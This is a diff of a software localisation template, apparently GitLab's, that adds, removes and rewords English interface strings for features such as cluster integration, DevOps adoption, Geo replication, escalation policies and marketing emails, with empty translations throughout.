@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
